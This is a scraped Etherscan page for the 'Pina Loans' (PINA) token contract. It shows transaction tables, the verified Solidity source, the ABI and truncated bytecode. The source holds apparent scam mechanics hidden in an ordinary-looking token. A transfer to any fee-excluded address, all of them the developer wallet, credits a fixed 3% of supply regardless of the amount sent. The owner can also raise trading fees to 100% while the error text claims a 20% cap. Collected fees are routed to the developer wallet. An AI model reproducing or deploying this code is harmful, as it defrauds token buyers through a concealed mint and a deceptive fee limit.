ETH Price: $3,293.28 (-1.41%)

Contract

0xD290cf026341C14876421C579D9CAdf769b4e8BA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181225812023-09-12 20:18:11467 days ago1694549891IN
0xD290cf02...769b4e8BA
0 ETH0.0008684618.64579682
Approve181224062023-09-12 19:42:35467 days ago1694547755IN
0xD290cf02...769b4e8BA
0 ETH0.0007869416.89553916
Approve181223852023-09-12 19:38:23467 days ago1694547503IN
0xD290cf02...769b4e8BA
0 ETH0.0009441520.27088182
Approve181223842023-09-12 19:38:11467 days ago1694547491IN
0xD290cf02...769b4e8BA
0 ETH0.0007532416.19297902
Approve181223762023-09-12 19:36:35467 days ago1694547395IN
0xD290cf02...769b4e8BA
0 ETH0.0009427620.24096816
Approve181223722023-09-12 19:35:47467 days ago1694547347IN
0xD290cf02...769b4e8BA
0 ETH0.0008986419.29366452
Approve181223712023-09-12 19:35:35467 days ago1694547335IN
0xD290cf02...769b4e8BA
0 ETH0.0009352220.10495655
Approve181223702023-09-12 19:35:23467 days ago1694547323IN
0xD290cf02...769b4e8BA
0 ETH0.0008983319.28719876
Approve181223702023-09-12 19:35:23467 days ago1694547323IN
0xD290cf02...769b4e8BA
0 ETH0.0008983319.28719876
Approve181223702023-09-12 19:35:23467 days ago1694547323IN
0xD290cf02...769b4e8BA
0 ETH0.0008983319.28719876
Approve181223692023-09-12 19:35:11467 days ago1694547311IN
0xD290cf02...769b4e8BA
0 ETH0.0009092519.52160866
Approve181223492023-09-12 19:31:11467 days ago1694547071IN
0xD290cf02...769b4e8BA
0 ETH0.0010164321.85077723
Approve181223342023-09-12 19:28:11467 days ago1694546891IN
0xD290cf02...769b4e8BA
0 ETH0.0010453322.44305705
Approve181223232023-09-12 19:25:59467 days ago1694546759IN
0xD290cf02...769b4e8BA
0 ETH0.0008537218.35294983
Approve181222802023-09-12 19:17:23467 days ago1694546243IN
0xD290cf02...769b4e8BA
0 ETH0.0011722225.36344413
Approve181222772023-09-12 19:16:47467 days ago1694546207IN
0xD290cf02...769b4e8BA
0 ETH0.0011549924.829471
Approve181222732023-09-12 19:15:59467 days ago1694546159IN
0xD290cf02...769b4e8BA
0 ETH0.0012885727.84480734
Approve181222692023-09-12 19:15:11467 days ago1694546111IN
0xD290cf02...769b4e8BA
0 ETH0.0011399424.47448697
Approve181222652023-09-12 19:14:23467 days ago1694546063IN
0xD290cf02...769b4e8BA
0 ETH0.0012699227.26509987
Approve181222562023-09-12 19:12:35467 days ago1694545955IN
0xD290cf02...769b4e8BA
0 ETH0.0011082723.94862664
Approve181222562023-09-12 19:12:35467 days ago1694545955IN
0xD290cf02...769b4e8BA
0 ETH0.0011806625.34862664
Approve181222522023-09-12 19:11:47467 days ago1694545907IN
0xD290cf02...769b4e8BA
0 ETH0.0012405226.64062695
Approve181222512023-09-12 19:11:35467 days ago1694545895IN
0xD290cf02...769b4e8BA
0 ETH0.0012253126.30727325
Approve181222492023-09-12 19:11:11467 days ago1694545871IN
0xD290cf02...769b4e8BA
0 ETH0.001173625.20349825
Approve181222482023-09-12 19:10:59467 days ago1694545859IN
0xD290cf02...769b4e8BA
0 ETH0.0012395526.61301683
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
181224662023-09-12 19:54:47467 days ago1694548487
0xD290cf02...769b4e8BA
0.10674101 ETH
181224662023-09-12 19:54:47467 days ago1694548487
0xD290cf02...769b4e8BA
0.10674101 ETH
181224642023-09-12 19:54:23467 days ago1694548463
0xD290cf02...769b4e8BA
0.10678049 ETH
181224642023-09-12 19:54:23467 days ago1694548463
0xD290cf02...769b4e8BA
0.10678049 ETH
181224322023-09-12 19:47:59467 days ago1694548079
0xD290cf02...769b4e8BA
0.48673895 ETH
181224322023-09-12 19:47:59467 days ago1694548079
0xD290cf02...769b4e8BA
0.48673895 ETH
181223832023-09-12 19:37:59467 days ago1694547479
0xD290cf02...769b4e8BA
0.5869954 ETH
181223832023-09-12 19:37:59467 days ago1694547479
0xD290cf02...769b4e8BA
0.5869954 ETH
181223712023-09-12 19:35:35467 days ago1694547335
0xD290cf02...769b4e8BA
0.51078997 ETH
181223712023-09-12 19:35:35467 days ago1694547335
0xD290cf02...769b4e8BA
0.51078997 ETH
181223412023-09-12 19:29:35467 days ago1694546975
0xD290cf02...769b4e8BA
0.6717078 ETH
181223412023-09-12 19:29:35467 days ago1694546975
0xD290cf02...769b4e8BA
0.6717078 ETH
181223342023-09-12 19:28:11467 days ago1694546891
0xD290cf02...769b4e8BA
0.44094169 ETH
181223342023-09-12 19:28:11467 days ago1694546891
0xD290cf02...769b4e8BA
0.44094169 ETH
181223302023-09-12 19:27:23467 days ago1694546843
0xD290cf02...769b4e8BA
0.42880807 ETH
181223302023-09-12 19:27:23467 days ago1694546843
0xD290cf02...769b4e8BA
0.42880807 ETH
181223282023-09-12 19:26:59467 days ago1694546819
0xD290cf02...769b4e8BA
0.50212899 ETH
181223282023-09-12 19:26:59467 days ago1694546819
0xD290cf02...769b4e8BA
0.50212899 ETH
181223272023-09-12 19:26:47467 days ago1694546807
0xD290cf02...769b4e8BA
0.50212899 ETH
181223272023-09-12 19:26:47467 days ago1694546807
0xD290cf02...769b4e8BA
0.50212899 ETH
181223242023-09-12 19:26:11467 days ago1694546771
0xD290cf02...769b4e8BA
0.42553617 ETH
181223242023-09-12 19:26:11467 days ago1694546771
0xD290cf02...769b4e8BA
0.42553617 ETH
181223222023-09-12 19:25:47467 days ago1694546747
0xD290cf02...769b4e8BA
0.4258534 ETH
181223222023-09-12 19:25:47467 days ago1694546747
0xD290cf02...769b4e8BA
0.4258534 ETH
181222802023-09-12 19:17:23467 days ago1694546243
0xD290cf02...769b4e8BA
0.52598663 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PINA

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-12
*/

// SPDX-License-Identifier: MIT

/*
Pina's mission is to construct and promote the adoption of technology aimed at bringing asset-backed financing onto the blockchain.

Website: https://pina.loans
Twitter: https://twitter.com/pina_loans
Telegram: https://t.me/pina_loans
Docs: https://medium.com/@pina.loans
*/

pragma solidity 0.8.21;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() external onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IRouterV2 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract PINA is IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10 ** _decimals;

    string private constant _name = "Pina Loans";
    string private constant _symbol = "PINA";

    IRouterV2 _routerV2;
    address public pair;

    uint256 private numTaxSwaps;
    bool private inSwap;
    uint256 taxSwapAfter;

    uint256 private feeRateLp = 0;
    uint256 private feeRateMarketing = 0;
    uint256 private feeRateDev = 100;
    uint256 private feeRateBurn = 0;
    
    uint256 private buyFee = 1500;
    uint256 private sellFee = 1500;
    uint256 private transferFee = 1500;
    uint256 private denominator = 10000;
    uint256 public mTxSize = ( _totalSupply * 300 ) / 10000;
    uint256 public mBuySize = ( _totalSupply * 300 ) / 10000;
    uint256 public mHoldingSize = ( _totalSupply * 300 ) / 10000;

    uint256 private feeSwapMax = ( _totalSupply * 1000 ) / 100000;
    uint256 private feeSwapMin = ( _totalSupply * 10 ) / 100000;

    address internal devRecipient = 0xA61028c6852391624e50fb54F28D23D682B3f692; 
    address internal marketingRecipient = 0xA61028c6852391624e50fb54F28D23D682B3f692;
    address internal lpReceipient = 0xA61028c6852391624e50fb54F28D23D682B3f692;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    bool private startedTrading = false;
    bool private swapEnabled = true;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFee;

    modifier lockSwap {inSwap = true; _; inSwap = false;}

    constructor() Ownable(msg.sender) {
        IRouterV2 _router = IRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        _routerV2 = _router; pair = _pair;
        isExcludedFee[msg.sender] = true;
        isExcludedFee[devRecipient] = true;
        isExcludedFee[marketingRecipient] = true;
        isExcludedFee[lpReceipient] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function startTrading() external onlyOwner {startedTrading = true;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function takeFeeReceiver(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcludedFee[recipient]) {return mTxSize;}
        if(getTaxAmount(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTaxAmount(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(feeRateBurn > uint256(0) && getTaxAmount(sender, recipient) > feeRateBurn){_transfer(address(this), address(DEAD), amount.div(denominator).mul(feeRateBurn));}
        return amount.sub(feeAmount);} return amount;
    }

    function swapTokensToLiquidify(uint256 tokens) private lockSwap {
        uint256 _denominator = (feeRateLp.add(1).add(feeRateMarketing).add(feeRateDev)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(feeRateLp).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(feeRateLp));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(feeRateLp);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(feeRateMarketing);
        if(marketingAmt > 0){payable(marketingRecipient).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devRecipient).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(_routerV2), tokenAmount);
        _routerV2.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceipient,
            block.timestamp);
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        feeRateLp = _liquidity; feeRateMarketing = _marketing; feeRateBurn = _burn; feeRateDev = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function shouldSwapCa(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= feeSwapMin;
        bool aboveThreshold = balanceOf(address(this)) >= feeSwapMax;
        return !inSwap && swapEnabled && startedTrading && aboveMin && !isExcludedFee[sender] && recipient == pair && numTaxSwaps >= taxSwapAfter && aboveThreshold;
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        mTxSize = newTx; mBuySize = newTransfer; mHoldingSize = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function getTaxAmount(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcludedFee[sender] && !isExcludedFee[recipient]){require(startedTrading, "startedTrading");}
        if(!isExcludedFee[sender] && !isExcludedFee[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= mHoldingSize, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= mBuySize || isExcludedFee[sender] || isExcludedFee[recipient], "TX Limit Exceeded");}
        require(amount <= mTxSize || isExcludedFee[sender] || isExcludedFee[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExcludedFee[sender]){numTaxSwaps += uint256(1);}
        if(shouldSwapCa(sender, recipient, amount)){swapTokensToLiquidify(feeSwapMax); numTaxSwaps = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExcludedFee[sender] ? takeFeeReceiver(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _routerV2.WETH();
        _approve(address(this), address(_routerV2), tokenAmount);
        _routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mHoldingSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004c0565b6200002290633b9aca00620004d7565b6001555f6007555f60085560646009555f600a556105dc600b556105dc600c556105dc600d55612710600e5561271060015461012c620000639190620004d7565b6200006f9190620004f1565b600f5561271060015461012c620000879190620004d7565b620000939190620004f1565b60105561271060015461012c620000ab9190620004d7565b620000b79190620004f1565b601155620186a06001546103e8620000d09190620004d7565b620000dc9190620004f1565b601255620186a0600154600a620000f49190620004d7565b620001009190620004f1565b6013556014805473a61028c6852391624e50fb54f28d23d682b3f6926001600160a01b03199182168117909255601580549091169091179055601680546001600160b01b031916750100a61028c6852391624e50fb54f28d23d682b3f6921790553480156200016d575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001d2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f8919062000511565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000244573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200026a919062000511565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002db919062000511565b600280546001600160a01b038581166001600160a01b031992831617909255600380548484169216919091179055335f818152601960209081526040808320805460ff1990811660019081179092556014548716855282852080548216831790556015548716855282852080548216831790556016549096168452818420805490961681179095559354838352601782528483208190559351938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000539565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040557815f1904821115620003e957620003e9620003b1565b80851615620003f757918102915b93841c9390800290620003ca565b509250929050565b5f826200041d57506001620004ba565b816200042b57505f620004ba565b81600181146200044457600281146200044f576200046f565b6001915050620004ba565b60ff841115620004635762000463620003b1565b50506001821b620004ba565b5060208310610133831016604e8410600b841016171562000494575081810a620004ba565b620004a08383620003c5565b805f1904821115620004b657620004b6620003b1565b0290505b92915050565b5f620004d060ff8416836200040d565b9392505050565b8082028115828204841417620004ba57620004ba620003b1565b5f826200050c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000522575f80fd5b81516001600160a01b0381168114620004d0575f80fd5b61182b80620005475f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b3114610361578063a9059cbb14610380578063c958e6e61461039f578063cb7f97d7146103b4578063dd62ed3e146103d3578063f2fde38b14610417575f80fd5b8063715018a6146102a45780637fef6789146102b8578063893d20e8146102e657806395d89b41146103165780639cc3535114610342575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fe578063304db4231461022b578063313ce5671461024057806357b074e11461025b57806370a0823114610270575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c9578063293230b8146101e8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526950696e61204c6f616e7360b01b60208201525b60405161016f91906114e8565b60405180910390f35b348015610183575f80fd5b5061019761019236600461154a565b610436565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bb61044c565b60405190815260200161016f565b3480156101d4575f80fd5b506101976101e3366004611574565b6104bc565b3480156101f3575f80fd5b506101fc610524565b005b348015610209575f80fd5b506101976102183660046115b2565b5f546001600160a01b0391821691161490565b348015610236575f80fd5b506101bb60115481565b34801561024b575f80fd5b506040516009815260200161016f565b348015610266575f80fd5b506101bb600f5481565b34801561027b575f80fd5b506101bb61028a3660046115b2565b6001600160a01b03165f9081526017602052604090205490565b3480156102af575f80fd5b506101fc61056b565b3480156102c3575f80fd5b506101976102d23660046115b2565b60196020525f908152604090205460ff1681565b3480156102f1575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b348015610321575f80fd5b5060408051808201909152600481526350494e4160e01b6020820152610162565b34801561034d575f80fd5b506101fc61035c3660046115cd565b6105d8565b34801561036c575f80fd5b506003546102fe906001600160a01b031681565b34801561038b575f80fd5b5061019761039a36600461154a565b610714565b3480156103aa575f80fd5b506101bb60105481565b3480156103bf575f80fd5b506101fc6103ce3660046115f6565b610720565b3480156103de575f80fd5b506101bb6103ed36600461163d565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610422575f80fd5b506101fc6104313660046115b2565b610814565b5f610442338484610890565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b79290916104b191906109b3565b906109b3565b905090565b5f6104c88484846109be565b6105198433610514856040518060600160405280602881526020016117ce602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eff565b610890565b5060015b9392505050565b5f546001600160a01b031633146105565760405162461bcd60e51b815260040161054d90611674565b60405180910390fd5b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161054d90611674565b5f61062361271061061d86600154610f2a90919063ffffffff16565b90610f35565b90505f61064161271061061d86600154610f2a90919063ffffffff16565b90505f61065f61271061061d86600154610f2a90919063ffffffff16565b600f8490556010839055601181905590505f61068a6103e861061d600561068461044c565b90610f2a565b905080841015801561069c5750808310155b80156106a85750808210155b61070b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054d565b50505050505050565b5f6104423384846109be565b5f546001600160a01b031633146107495760405162461bcd60e51b815260040161054d90611674565b60078790556008869055600a8590556009849055600b839055600c829055600d819055600e5461077a906001610f35565b600b541115801561079a5750600e54610794906001610f35565b600c5411155b80156107b55750600e546107af906001610f35565b600d5411155b61070b5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054d565b5f546001600160a01b0316331461083d5760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b0382166109535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051d82846116a8565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b6001600160a01b0383165f90815260176020526040902054811115610b055760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4557506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9457601654600160a01b900460ff16610b945760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd457506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bee57506003546001600160a01b03838116911614155b8015610c0557506001600160a01b03821661dead14155b15610c7d576011546001600160a01b0383165f90815260176020526040902054610c2f9083610f40565b1115610c7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054d565b6003546001600160a01b03848116911614610d1c5760105481111580610cba57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdc57506001600160a01b0382165f9081526019602052604090205460ff165b610d1c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b600f5481111580610d4457506001600160a01b0383165f9081526019602052604090205460ff165b80610d6657506001600160a01b0382165f9081526019602052604090205460ff165b610da65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b6003546001600160a01b038381169116148015610ddb57506001600160a01b0383165f9081526019602052604090205460ff16155b15610df857600160045f828254610df291906116bb565b90915550505b610e03838383610f4b565b15610e1857610e13601254611003